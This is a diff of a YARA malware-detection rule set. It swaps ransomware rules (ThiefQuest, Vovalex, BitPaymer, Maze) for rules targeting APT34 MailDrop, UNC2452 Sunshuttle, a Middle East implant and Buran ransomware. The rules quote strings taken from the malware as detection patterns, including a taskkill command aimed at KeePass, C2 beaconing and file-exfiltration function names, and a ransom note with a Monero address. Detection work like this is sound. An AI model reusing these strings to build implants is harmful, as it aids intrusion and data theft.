00 00 ff 15 f5 3b 02 00 ff 15 87 58 01 00 8b c8 e8 50 41 00 00 e8 1f 41 00 00 44 8b e8 b8 ab aa aa aa 41 f7 e5 c1 ea 03 8d 0c 52 c1 e1 02 44 2b e9 b9 3c 00 00 00 41 ff c5 ff 15 be 3b 02 00 ff 15 50 58 01 00 8b c8 e8 19 41 00 00 e8 e8 40 00 00 44 8b c0 b8 09 cb 3d 8d 41 f7 e0 c1 ea 04 6b ca 1d 44 2b c1 b9 7d 00 00 00 41 ff c0 44 89 44 24 74 e8 3e 3b 00 00 33 d2 44 8d 42 7d 48 8b c8 e8 d0 64 00 00 4c 8d 44 24 70 48 8d 0d d4 ce 01 00 ba 7c 00 00 00 c7 44 24 70 00 00 00 00 e8 c2 27 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 48 89 44 24 78 e8 3d 25 00 00 48 8b 44 24 78 4c 8d 45 90 48 8b d0 4c 2b c0 0f 1f 40 00 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 48 8b c8 e8 88 3a 00 00 8b 44 24 74 44 89 64 24 48 89 5c 24 40 89 44 24 38 44 89 6c 24 30 48 8d 55 90 44 8b cf 41 b8 04 00 00 00 49 8b cf 44 89 74 24 28 89 74 24 20 e8 b4 39 00 00 e9 5d 03 00 00 b9 3c 00 00 00 ff 15 cc 3a 02 00 ff 15 5e 57 01 00 8b c8 e8 27 40 00 00 e8 f6 3f 00 00 b9 79 00 00 00 8b d8 83 e3 03 e8 63 3a 00 00 33 d2 44 8d 42 79 48 8b c8 e8 f5 63 00 00 4c 8d 44 24 70 48 8d 0d 79 cd 01 00 ba 78 00 00 00 c7 44 24 70 00 00 00 00 e8 e7 26 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 4c 8b f0 e8 64 24 00 00 4c 8d 45 90 49 8b d6 4d 2b c6 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 49 8b ce e8 b8 39 00 00 44 89 64 24 38 8d 43 04 89 44 24 30 44 8d 4b 08 48 8d 55 90 41 b8 04 00 00 00 49 8b cf 89 74 24 28 89 }
+		$seq3 = { 48 89 5c 24 18 55 56 57 48 83 ec 70 48 8b 05 9d fe 01 00 48 33 c4 48 89 44 24 60 33 c0 48 8b d9 8b fa 8d 48 20 c6 44 24 48 00 48 89 44 24 49 48 89 44 24 51 e8 d7 31 00 00 48 8d 15 44 c6 01 00 48 8b f0 33 c0 48 8d 4c 24 48 48 89 06 48 89 46 08 48 89 46 10 4c 8b c3 48 89 46 18 e8 3f 13 00 00 48 8d 4c 24 48 ff 15 ac 50 01 00 bd 02 00 00 00 0f b7 cf 89 44 24 3c 66 89 6c 24 38 ff 15 a5 2e 02 00 8d 55 ff 44 8d 45 04 8b cd 66 89 44 24 3a ff 15 01 32 02 00 48 8b f8 48 83 f8 ff 75 20 48 8d 15 e1 c5 01 00 48 8b ce e8 81 30 00 00 48 0b df 48 ff c3 80 3c 1e 00 75 f7 e9 c9 00 00 00 48 8d 54 24 38 41 b8 10 00 00 00 48 8b c8 ff 15 f4 31 02 00 83 f8 ff 75 6b 48 8d 15 a8 c5 01 00 48 8b ce e8 48 30 00 00 48 83 cb }
+		$seq4 = { 40 55 48 8d ac 24 e0 fb ff ff 48 81 ec 20 05 00 00 48 8b 05 b8 fc 01 00 48 33 c4 48 89 85 10 04 00 00 48 8d 8d f1 00 00 00 33 d2 41 b8 03 01 00 00 c6 85 f0 00 00 00 00 e8 93 59 00 00 48 8d 8d 01 02 00 00 33 d2 41 b8 07 02 00 00 c6 85 00 02 00 00 00 e8 78 59 00 00 48 8d 4d e1 33 d2 41 b8 03 01 00 00 c6 45 e0 00 e8 63 59 00 00 48 8d 95 f0 00 00 00 41 b8 f4 01 00 00 33 c9 ff 15 2e 30 02 00 85 c0 0f 84 5e 01 00 00 48 8d 55 e0 b9 f4 01 00 00 48 89 9c 24 30 05 00 00 48 89 bc 24 38 05 00 00 ff 15 17 30 02 00 4c 8d 05 20 15 02 00 48 8d 4d e0 ba 04 01 00 00 e8 5a 37 00 00 48 8d 45 e0 4c 8d 0d f7 14 02 00 48 89 44 24 28 48 8d 85 f0 00 00 00 4c 8d 85 f0 00 00 00 48 8d 15 dd c3 01 00 48 8d 8d 00 02 00 00 48 89 44 24 20 e8 fc 10 00 00 33 ff 48 8d 4d e0 48 89 7c 24 30 44 8d 47 03 45 33 c9 ba 00 00 00 40 c7 44 24 28 80 00 00 00 c7 44 24 20 02 00 00 00 ff 15 6f 2f 02 00 48 8b d8 }
+		$seq5 = { 48 89 5c 24 10 48 89 74 24 18 48 89 7c 24 20 55 48 8d ac 24 70 f2 ff ff 48 81 ec 90 0e 00 00 48 8b 05 da ed 01 00 48 33 c4 48 89 85 80 0d 00 00 48 8b f1 48 8d 8d 81 05 00 00 33 d2 41 b8 ff 07 00 00 c6 85 80 05 00 00 00 e8 b2 4a 00 00 48 8d 4d 71 33 d2 41 b8 03 01 00 00 c6 45 70 00 e8 9d 4a 00 00 33 c0 c6 44 24 50 00 39 05 f4 1c 02 00 89 44 24 51 75 0b e8 b5 dd ff ff 89 05 e3 1c 02 00 48 8d 4d 70 e8 c6 e3 ff ff 8b 05 e8 b5 01 00 48 8d 8d 81 01 00 00 89 44 24 50 0f b6 05 da b5 01 00 33 d2 41 b8 ff 03 00 00 c6 85 80 01 00 00 00 88 44 24 54 e8 46 4a 00 00 48 8d 15 3f b6 01 00 48 8d 8d 80 01 00 00 e8 b3 1f 00 00 48 8d 4d 90 33 d2 0f 10 05 b6 b6 01 00 0f 10 0d bf b6 01 00 41 b8 d4 00 00 00 0f 29 44 24 60 0f 29 4c 24 70 0f 10 05 b8 b6 01 00 0f 29 45 80 e8 ff 49 00 00 48 83 cb ff 48 8b c3 0f 1f 84 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB) and all of them
+		uint16(0)==0x5a4d and filesize >60KB and 4 of ($seq*)
 }
-rule TRELLIX_ARC_MALW_Thiefquest : KEYLOGGER BACKDOOR RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_APT_34_Maildrop_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Evilquest/ThiefQuest malware"
-		author = "McAfee ATR Team"
-		id = "09b074f7-6899-574d-a7d6-4414509aaa78"
-		date = "2020-07-09"
-		modified = "2020-10-12"
-		reference = "https://www.bleepingcomputer.com/news/security/thiefquest-ransomware-is-a-file-stealing-mac-wiper-in-disguise/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_thiefquest.yar#L1-L46"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5a024ffabefa6082031dccdb1e74a7fec9f60f257cd0b1ab0f698ba2a5baca6b"
-		logic_hash = "d40a466b12188d545d3fbe2c9d7e3685dde1250ae1f25df2a72cdf93c470ae25"
+		description = "Detect MailDrop malware used by APT34"
+		author = "Arkbird_SOLG"
+		id = "a17c4e0b-9bbb-594d-8551-5c146e6a601e"
+		date = "2021-04-03"
+		modified = "2021-04-09"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-03/APT34/APT_APT_34_MailDrop_Mar_2021_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "f55192044bf8e190dfdc18aeaac543a5022643ea242e75ff2492939ae6e1814c"
 		score = 75
-		quality = 68
-		tags = "KEYLOGGER, BACKDOOR, RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "keylogger, backdoor, ransomware"
-		actor_type = "Cybercrime"
-		malware_family = "Ransom:OSX/ThiefQuest"
+		quality = 75
+		tags = "FILE"
+		hash1 = "d6b876d72dba94fc0bacbe1cb45aba493e4b71572a7713a1a0ae844609a72504"
+		hash2 = "ebae23be2e24139245cc32ceda4b05c77ba393442482109cc69a6cecc6ad1393"
 
 	strings:
-		$pattern_0 = { 01c1 48 83c102 48 }
-		$pattern_1 = { 8c1471 80c1c1 98 1c8c }
-		$pattern_2 = { d8974f0dc89a 9f c9 9adf70cd595390 }
-		$pattern_3 = { d897c56f028c 2393a0a42e92 8ea2c27affc2 f8 }
-		$pattern_4 = { 477006 baa6a1cb82 ae f9 e8???????? d8a32bd0d519 }
-		$pattern_5 = { d898ab5c757b 2f f26f 5d }
-		$pattern_6 = { bc007a846b 2b54adaf 93 35eddf38e6 cdd0 b246 }
-		$pattern_7 = { ae 49b00e 01d1 45da611b 44839db656691674 }
-		$pattern_8 = { 01c1 48 83c101 48 }
-		$pattern_9 = { 6be3c6 5c 99 ae ed bf370e2f47 }
-		$pattern_10 = { fd d7 43bd18fd6f06 7937 fa }
-		$pattern_11 = { 01c2 48 83c201 bf01000000 }
-		$pattern_12 = { d89825ed4469 29f1 5c e12d }
-		$pattern_13 = { d8992062f7f9 73ff 90 085fc6 }
-		$pattern_14 = { 01c1 6689ca 668995cefeffff e9???????? }
-		$pattern_15 = { 01c1 41 89c8 44 }
-		$pattern_16 = { d89935c487a7 bcdffa587c be6cadbb3c 185fc4 }
-		$pattern_17 = { 01c1 48 8b75a8 48 }
-		$pattern_18 = { 0000 48 8945f8 e9???????? }
-		$pattern_19 = { d89959d6472d a2???????? 3525c7eec9 95 }
-		$pattern_20 = { 01c2 48 83c203 bf01000000 }
-		$pattern_21 = { 4a7888 ab 23e7 cf 11f3 }
-		$pattern_22 = { d8982fbf222d 49 92 1d25b42bba }
-		$pattern_23 = { e2d7 8437 6b4696d9 92 9d a6 }
+		$EWSInitCom = { 7e ?? 00 00 04 28 ?? 00 00 06 ?? 4f [0-3] 02 7b ?? 00 00 04 28 ?? 00 00 06 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 02 7b ?? 00 00 04 28 ?? 00 00 06 72 ?? 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 7e ?? 00 00 04 72 ?? 00 00 70 28 ?? 00 00 06 7e 06 00 00 04 28 ?? 00 00 06 [2-4] 00 00 [3-4] 00 00 [3] 00 00 [3] 00 00 [3] 00 00 }
+		$EWSCom = { 13 30 ?? 00 ?? 00 00 00 00 00 00 00 02 28 ?? 00 00 ?? 02 03 05 0e 04 0e 05 0e 06 [0-4] 73 ?? 00 00 06 7d ?? 00 00 04 04 [2-6] 00 00 ?? 02 ?? 7d ?? 00 00 04 [0-2] 02 ?? 7d ?? 00 00 04 [2-4] 00 00 [0-18] 04 02 28 ?? 00 00 06 2a }
+		$EWSDecrypt = { 13 30 03 00 27 00 00 00 ?? 00 00 11 0f 00 20 00 01 00 00 16 28 ?? 00 00 06 28 ?? 00 00 06 0a 0f 00 1f 10 16 28 ?? 00 00 06 0b 02 06 07 28 ?? 00 00 06 2a }
+		$EWSRandomData = { 1b 30 ?? 00 ?? 00 00 00 ?? 00 00 11 02 19 28 ?? 00 00 0a 0a 16 0b ?? 35 [0-3] 06 16 6a 16 6f ?? 00 00 0a 26 06 6f ?? 00 00 0a d4 8d ?? 00 00 01 0c 7e ?? 00 00 04 08 6f ?? 00 00 0a 06 08 16 06 6f ?? 00 00 0a b7 6f ?? 00 00 0a 07 17 d6 0b 07 1f 32 32 c6 [5-11] 06 6f ?? 00 00 0a dc 2a [0-1] 01 10 00 00 02 00 08 00 }
+		$s1 = "HMicrosoft Office/15.0 (Windows NT {0}; Microsoft Outlook 15.0.4675; Pro)" fullword ascii
+		$s2 = "https://{0}/ews/exchange.asmx" fullword wide
+		$s3 = "Send_Log" fullword ascii
+		$s4 = "CheckEWSConnection" fullword ascii
+		$s5 = "Done:D" fullword wide
+		$s6 = "ExecAllCmds" fullword ascii
+		$s7 = "ExchangeUri" fullword ascii
+		$s8 = "get_cmdSubject" fullword ascii
 
 	condition:
-		7 of them and filesize <124322606
+		uint16(0)==0x5a4d and filesize >20KB and 2 of ($EWS*) and 5 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Ransom_Vovalex_Part2 : RANSOM FILE
+rule ARKBIRD_SOLG_APT_Unknown_Middle_East_Feb_2020_1 : FILE
 {
 	meta:
-		description = "Vovalex ransomware detection part 2"
-		author = "CB @ ATR"
-		id = "26c91d06-13da-5039-8b8a-eb8de2774d79"
-		date = "2021-02-01"
-		modified = "2021-02-01"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Vovalex1.yar#L3-L42"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "82814fd9155ec910c6353de8336733704e05c9f02409ad99cd80da8ef9fe3c04"
+		description = "Dectect unknown Middle East implants (retrohunt June 2020)"
+		author = "Arkbird_SOLG"
+		id = "e45675e6-29d5-587b-943e-19450772a092"
+		date = "2021-03-05"
+		modified = "2021-03-06"
+		reference = "internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/Unknown/APT_Unknown_Middle_East_Feb_2020_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "64cdac73bc3e29e8716cb24ae6577f853b2cf31303d129a0ec38ba89b7ff5351"
 		score = 75
-		quality = 64
-		tags = "RANSOM, FILE"
-		malware_type = "Ransom"
-		malware_family = "Ransom:Win/Vovalex"
-		hash1 = "0604acc15196120db2f4ca922feb2a4c858a46123cb26e9af2ef97b4c7839121"
-		hash2 = "fe9ff27ec0a1a48cbb8bc043f260a656c221c6c61704187a390bc8da6f91103a"
-		hash3 = "3b198c367aca1d239abc48bdeb8caabf9b8f2b630071b8e0fd1e86940eab14d6"
+		quality = 75
+		tags = "FILE"
+		hash1 = "274beb57ae19cbc5c2027e08cb2b718dea7ed1acb21bd329d5aba33231fb699d"
+		hash2 = "3a4ef9b7bd7f61c75501262e8b9e31f9e9bc3a841d5de33dcdeb8aaa65e95f76"
 
 	strings:
-		$x1 = "If you don't know where to buy Monero - visit these websites: https://www.bestchange.ru/ https://www.bestchange.com" fullword ascii
-		$s2 = "Full list: https://www.getmonero.org/community/merchants/#exchanges" fullword ascii
-		$s3 = ": https://www.getmonero.org/community/merchants/#exchanges" fullword ascii
-		$s4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" fullword ascii
-		$s5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" fullword ascii
-		$s6 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" fullword ascii
-		$s7 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" fullword ascii
-		$s8 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\random.d" fullword ascii
-		$s9 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\conv.d" fullword ascii
-		$s10 = "3. If everything is good, you will receive the decryptor." fullword ascii
-		$s11 = "Attempting to flush() in an unopened file" fullword ascii
-		$s12 = "Monero: 4B45W7V1sJAZBnPSnvcipa5k7BRyC4w8GCTfQCUL2XRx5CFzG3iJtEk2kqEvFbF7FagEafRYFfQ6FJnZmep5TsnrSfxpMkS" fullword ascii
-		$s13 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\padding.d" fullword ascii
-		$s14 = "crypto.aes.AES!(4u, 8u, 14u).AES" fullword ascii
-		$s15 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\aes.d" fullword ascii
-		$s16 = "Monero - " fullword ascii
-		$s17 = "std.random.uniform(): invalid bounding interval " fullword ascii
-		$s18 = "crypto.aes.AESUtils" fullword ascii
-		$s19 = "2. Send us a mail with proofs of transaction: VovanAndLexus@cock.li" fullword ascii
-		$s20 = "crypto.aes" fullword ascii
-		$op0 = { 48 8d 8d 10 ff ff ff e8 4a 22 fe ff f7 df 89 bd }
-		$op1 = { e8 60 6e fb ff 34 01 75 d6 4c 8b 46 40 48 8b 56 }
-		$op2 = { 4c 8d 85 40 ff ff ff 4c 8d 15 d2 78 02 00 4c 89 }
+		$seq1 = { 55 8b ec 83 e4 f8 81 ec 08 04 00 00 a1 34 45 49 00 33 c4 89 84 24 04 04 00 00 83 ec 08 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 af 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 98 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 81 9f ff ff 83 c4 0c 8d 04 24 68 00 04 00 00 6a 00 50 e8 [2] 01 00 83 c4 0c 8d 04 24 [4] 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? ab 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 6c 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a9 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 33 c0 66 89 84 24 fe 03 00 00 8d 04 24 68 [2] 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a6 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 8d 4c 24 0c e8 6b a1 ff ff 83 c4 04 ba [2] 48 00 b9 ?? 83 48 00 68 [2] 48 00 e8 94 9e ff ff 8b 8c 24 10 04 00 00 83 c4 0c 33 cc e8 [2] 01 00 8b e5 5d }
+		$seq2 = { 55 8b ec 6a ff 68 [2] 47 00 64 a1 00 00 00 00 50 81 ec d8 00 00 00 a1 34 45 49 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 45 08 8b 75 14 c7 45 fc 00 00 00 00 89 85 34 ff ff ff 89 85 40 ff ff ff 33 c0 50 50 50 50 c7 85 3c ff ff ff 00 00 00 00 68 ?? 70 48 00 89 b5 6c ff ff ff c7 85 48 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 00 00 00 00 89 85 50 ff ff ff ff 15 78 55 47 00 89 85 38 ff ff ff 85 c0 74 3f 6a 00 68 bb 01 00 00 68 ?? 6d 48 00 50 ff 15 8c 55 47 00 89 85 44 ff ff ff 85 c0 74 22 68 00 00 80 00 6a 00 6a 00 6a 00 68 ?? 71 48 00 68 ?? 6d 48 00 50 ff 15 90 55 47 00 89 85 50 ff ff ff 8b 3d 44 53 47 00 6a 00 6a 00 6a 00 6a 00 6a ff 56 6a 00 68 e9 fd 00 00 ff d7 8b f0 56 e8 ?? 35 01 00 83 c4 04 89 85 4c ff ff ff 6a 00 6a 00 56 50 6a ff ff b5 6c ff ff ff 6a 00 68 e9 fd 00 00 ff d7 68 80 00 00 00 8b f8 8d 85 70 ff ff ff 6a 00 50 e8 [2] 02 00 57 8d 85 70 ff ff ff 68 ?? 79 48 00 50 e8 ?? a3 00 00 83 c4 18 c7 85 64 ff ff ff 00 00 00 00 33 c0 c7 85 68 ff ff ff 07 00 00 00 8d 8d 54 ff ff ff 66 89 85 54 ff ff ff 6a 10 68 [2] 48 00 e8 ?? 84 00 00 8d 8d 70 ff ff ff c7 45 fc 01 00 00 00 8d 51 02 66 8b 01 83 c1 02 66 85 c0 75 f5 2b ca 8d 85 70 ff ff ff d1 f9 51 50 8d 8d 54 ff ff ff e8 89 63 00 00 6a 33 68 ?? 71 48 00 8d 8d 54 ff ff ff e8 77 63 00 00 8b b5 50 ff ff ff 85 f6 }
+		$s1 = "taskkill /im svehost.exe /t /f" fullword ascii
+		$s2 = "\\AppData\\Windows\\svehost.exe" fullword ascii
+		$s3 = "svehost.exe" fullword wide
+		$s4 = "bdagent.exe" fullword wide
+		$s5 = "taskkill /im keepass.exe /t /f" fullword ascii
+		$s6 = "%s\\AppData\\Windows\\svehost" fullword ascii
+		$s7 = "\\AppData\\Roaming\\ViberPc" fullword wide
+		$s8 = "\\AppData\\Roaming\\Skype" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <17000KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize >200KB and 1 of ($seq*) and 4 of ($s*)
 }
-rule TRELLIX_ARC_Bitpaymer_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_UNC2452_Sunshuttle_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect BitPaymer Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "20b91cf2-2a84-55d9-8230-90d7b20a461f"
-		date = "2019-11-08"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/spanish-mssp-targeted-by-bitpaymer-ransomware/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Bitpaymer.yar#L1-L72"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "527cdbdf51e6f3f5d58e805cf4a1bc09c9d24880c2323046acef6ee03c92d62f"
+		description = "Detect Sunshuttle implant used by UNC2452 group"
+		author = "Arkbird_SOLG"
+		id = "faa07d19-4c61-554d-a6b1-ab7cb0919ec0"
+		date = "2021-03-06"
+		modified = "2021-03-06"
+		reference = "https://twitter.com/Arkbird_SOLG/status/1367570764468224010"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/UNC2452/APT_UNC2452_sunshuttle_Mar_2021_1.yar#L1-L31"
+		license_url = "N/A"
+		logic_hash = "368487f1716aaa5c10e19a428649d6706b3f45c53853e6729752dc41fc97bc38"
 		score = 75
-		quality = 66
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/BitPaymer"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 63
+		tags = "FILE"
+		hash1 = "611458206837560511cb007ab5eeb57047025c2edc0643184561a6bf451e8c2c"
+		hash2 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
+		hash3 = "bbd16685917b9b35c7480d5711193c1cd0e4e7ccb0f2bf1fd584c0aebca5ae4c"
 
 	strings:
-		$s1 = "IEncrypt.dll" fullword wide
-		$op0 = { e8 5f f3 ff ff ff b6 e0 }
-		$op1 = { e8 ad e3 ff ff 59 59 8b 75 08 8d 34 f5 38 eb 42 }
-		$op2 = { e9 45 ff ff ff 33 ff 8b 75 0c 6a 04 e8 c1 d1 ff }
-		$pdb = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword ascii
-		$oj0 = { 39 74 24 34 75 53 8d 4c 24 18 e8 b8 d1 ff ff ba }
-		$oj1 = { 5f 8b c6 5e c2 08 00 56 8b f1 8d 4e 34 e8 91 af }
-		$oj2 = { 8b cb 8d bd 50 ff ff ff 8b c1 89 5f 04 99 83 c1 }
-		$t1 = ".C:\\aaa_TouchMeNot_.txt" fullword wide
-		$ok0 = { e8 b5 34 00 00 ff 74 24 18 8d 4c 24 54 e8 80 39 }
-		$ok1 = { 8b 5d 04 33 ff 8b 44 24 34 89 44 24 5c 85 db 7e }
-		$ok2 = { 55 55 ff 74 24 20 8d 4c 24 34 e8 31 bf 00 00 55 }
-		$random = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+" fullword ascii
-		$oi0 = { a1 04 30 ac 00 8b ce 0f af c2 03 c0 99 8b e8 89 }
-		$oi1 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 64 }
-		$oi2 = { c7 03 d4 21 ac 00 e8 86 53 00 00 89 73 10 89 7b }
-		$ou0 = { e8 64 a2 ff ff 85 c0 74 0c 8d 4d d8 51 ff 35 60 }
-		$ou1 = { a1 04 30 04 00 8b ce 0f af c2 03 c0 99 8b e8 89 }
-		$ou2 = { 8d 4c 24 10 e8 a0 da ff ff 68 d0 21 04 00 8d 4c }
-		$oa1 = { 56 52 ba 00 10 0c 00 8b f1 e8 28 63 00 00 8b c6 }
-		$oa2 = { 81 3d 50 30 0c 00 53 c6 d2 43 56 8b f1 75 23 ba }
-		$oy0 = { c7 06 cc 21 a6 00 c7 46 08 }
-		$oy1 = { c7 06 cc 21 a6 00 c7 46 08 }
-		$oy2 = { c7 06 cc 21 a6 00 c7 46 08 }
-		$oh1 = { e8 74 37 00 00 a3 00 30 fe 00 8d 4c 24 1c 8d 84 }
-		$oh2 = { 56 52 ba 00 10 fe 00 8b f1 e8 28 63 00 00 8b c6 }
+		$s1 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 39 59 72 42 6a 6b 6b 58 46 79 6b 62 47 51 72 6d 56 32 4b 49 2f 41 48 44 69 7a 57 51 61 4d 38 47 38 4a 37 6b 56 4b 32 56 65 2f 46 55 74 5f 6b 6b 53 56 6c 78 32 36 49 6e 46 56 61 79 70 77 2f 6c 75 5a 41 54 35 55 6e 55 69 34 64 4a 65 6b 6e 73 6b 55 6e 22 }
+		$s2 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 71 6f 66 49 6b 76 62 6c 73 31 69 72 4f 36 78 68 6a 41 63 5a 2f 6a 49 69 71 41 70 70 31 56 6f 39 72 4f 53 2d 44 6a 65 4e 75 2f 62 50 75 6e 33 4e 35 74 49 42 58 4b 50 74 4e 79 73 48 4f 51 2f 41 52 53 72 63 65 6b 35 68 51 47 38 59 49 56 6e 4d 75 37 54 22 }
+		$s3 = { 6f 73 2f 65 78 65 63 2e 28 2a 43 6d 64 29 2e 52 75 6e }
+		$s4 = "main.request_session_key" fullword ascii
+		$s5 = "main.wget_file" fullword ascii
+		$s6 = "main.GetMD5Hash" fullword ascii
+		$s7 = "main.beaconing" fullword ascii
+		$s8 = "main.resolve_command" fullword ascii
+		$s9 = "main.send_file_part" fullword ascii
+		$s10 = "main.retrieve_session_key" fullword ascii
+		$s11 = "main.send_command_result" fullword ascii
+		$s12 = { 63 38 3a 32 37 3a 63 63 3a 63 32 3a 33 37 3a 35 61 }
+		$s13 = { 2d 2d 2d 2d 2d 42 45 47 49 4e }
+		$s14 = { 2d 2d 2d 2d 2d 45 4e 44 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB) and ($s1 and all of ($op*)) or ($pdb and all of ($oj*)) or ($t1 and all of ($ok*)) or ($random and all of ($oi*)) or ($random and all of ($ou*)) or ($random and all of ($oa*) and $ou0) or ($random and all of ($oy*)) or ($random and all of ($oh*)) or ($random and $ou0) or ($random and $oi1)
+		uint16(0)==0x5a4d and filesize >800KB and 12 of them
 }
-rule TRELLIX_ARC_Ransom_Maze : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Ran_Buran_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Detecting MAZE Ransomware"
-		author = "McAfee ATR"
-		id = "098a93c4-9aab-5563-af17-7aa91b056f64"
-		date = "2020-04-19"
-		modified = "2020-10-12"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Maze.yar#L1-L39"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5badaf28bde6dcf77448b919e2290f95cd8d4e709ef2d699aae21f7bae68a76c"
-		logic_hash = "fc16475fbc2a2acf5d053ded4d2ec4126c6d6dcac3a6eafadcd6c61419dd7594"
+		description = "Detect Buran ransomware"
+		author = "Arkbird_SOLG"
+		id = "dbdc251e-9ac6-5de1-8a72-72ac159daf4c"
+		date = "2020-11-05"
+		modified = "2020-11-06"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1323956405976600579"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-06/Buran/Ran_Buran_Oct_2020_1.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "a6984d21451c980d001e040325c66b547060653ac97556bc379da40f3ab6a70a"
 		score = 75
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Maze"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "66fc6e71a9c6be1f604c4a2d0650914f67c45d894fd1f76913e463079d47a8af"
+		hash2 = "93fe277d54f4baac5762412dda6f831bf6a612f166daade7c23f6b38feac94fb"
+		hash3 = "b3302c4a9fd06d9fde96c9004141f80e0a9107a9dead1659e77351f1b1c87cf6"
+		hash4 = "eb920e0fc0c360abb901e04dce172459b63bbda3ab8152350885db4b44d63ce5"
+		hash5 = "f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb"
